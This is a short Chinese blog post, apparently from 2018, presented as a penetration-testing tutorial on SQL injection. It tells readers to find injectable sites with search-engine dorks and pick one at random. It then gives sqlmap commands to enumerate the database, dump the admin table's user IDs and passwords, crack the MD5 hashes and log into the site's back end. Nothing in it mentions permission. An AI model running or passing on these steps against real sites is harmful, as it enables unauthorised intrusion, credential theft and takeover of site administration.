滲透測試實戰_sql註入
阿新 • • 發佈：2018-02-18
password 現在 .py install python2.7 tab strong 搜索 pip 
首先我們在搜索引擎上尋找可以註入的網站。這裏額外插一句，搜索引擎也是有特定的語法哦~
隨便找個網站
下面我們要用sqlmap進行爆破啦，眼睛睜大~ 對於sqlmap的安裝，直接在python2.7的環境下執行 pip install sqlmap
此時sqlmap已經安裝完畢，可以輸入sqlmap確認一下，出現下圖說明安裝成功了
下面我們輸入 sqlmap.py -u "url" --current-db 獲取待註入網站的數據庫
輸入 sqlmap.py -u "url" --current-user 獲取當前用戶
輸入 sqlmap.py -u "url" -D databasename --tables 獲取當前數據庫所有的表
輸入 sqlmap.py -u "url" -D databasename -T admin --columns 獲取admin表的所有字段
輸入 sqlmap.py -u "url" -D databasename -T admin -C "id,userid,password" --dump
獲取所有字段內容（脫庫）
此時我們發現這裏的密碼是md5加密的，我們可以用去執行解密
現在我們已經破解了用戶名和密碼，可以登錄網站後臺了
滲透測試實戰_sql註入